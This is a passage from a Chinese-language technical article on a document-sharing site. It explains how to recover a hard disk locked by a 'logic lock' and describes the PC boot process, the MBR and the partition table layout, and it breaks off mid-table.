大家也可能知道用这种简单的方法就可以解决:把硬盘在CMOS里屏蔽掉,再用光盘启动用低格工具对这个硬盘低格,锁就没有了,同时我们自己的数据资料也全部没有了。有时候,使用这种方法有的硬盘按照上面的步骤操作时找不到硬盘,这时只有热拔插(不断电直接插拔硬盘数据线)才能找到硬盘进行低格。弄不好的话,硬盘可能要报废。不过下面介绍的方法就没有那么危险了,相对来说,不用摆弄硬盘和拆机箱。那我就详细介绍一下硬盘为什么会被锁上。一、计算机启动过程分析当计算机自检完成后,并更新过 ESCD (Extended System ConfigurationData,扩展系统配置数据)时,如果你的计算机设置是从硬盘启动,这时计算机将首先硬盘0柱面0磁头1扇区(主引导区MBR)中的512个字节读入内存0000:7C00处并跳到0000:7C00处执行;如果选择从软盘启动,则计算机首先将A盘0磁道0磁头1扇区的内容读入内存0000:7C00处并跳到0000:7C00处执行。在读取过程中,计算机并不检查该扇区的内容是什么。接着执行读入的内容(硬盘主引导区中的前466个字节,软盘没有分区表,软盘读入的是其引导区的内容,类似于C盘,D盘第一个扇区的内容),首先开始检测该扇区的最后两个字李是不是“55AA”标志,如果“55AA”不存在则打印“Invalid partition table(无效的分区表)”;如果有“55AA”并进一步检测有无硬盘分区表;如有并再进一步分析硬盘分区表中的内容是否正确;如果硬盘分区表正确可用,便接着读取活动分区的第一个扇区的内容即引导区(DBR区)的内容,并把控制权移交。但硬盘分区表的内容驻留内存,供计算机调用。二、硬盘分区表和逻辑锁的原理分析1. 硬盘分区表谈到硬盘逻辑锁加锁原理,就不得不提到硬盘分区表的结构。硬盘分区表位于硬盘的 0 磁道 0 柱面第1扇区(即0区)(注意:该扇区为隐含扇区,0道0面的全部扇区均为隐含扇区,普通的磁盘访问命令无法直接访问,同时该磁道的其他62个扇区也是隐含的,因此有引多系统引导程序就把自己的程序代码放在其他隐含扇区,有些引导区病毒也把自己的代码放在其他隐含扇区。)。在该扇区512字节中,硬盘的主引导记录区MBR (Main Boot Record)只占用了前 446 个字节(偏移 000H- 偏移 1BDH ),另外的 64个字节(偏移 1BEH- 偏移 1FDH )是硬盘分区表DPT(Disk Partition Table ) , 最后两个字节 55 AA (偏移1FEH偏移 1FFH )是分区结束标志。主引导记录中包含了硬盘的一系列参数和一段引导程序。其中的硬盘引导程序的主要作用是检查分区表是否正确并且在系统硬件完成自检以后引导具有活动标志(80H)的分区上的操作系统,并将控制权交给活动盘上的操作系统的启动程序。四个分区的入口位置偏移量内容说明大小000h执行代码(启动计算机用)446 Byt

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论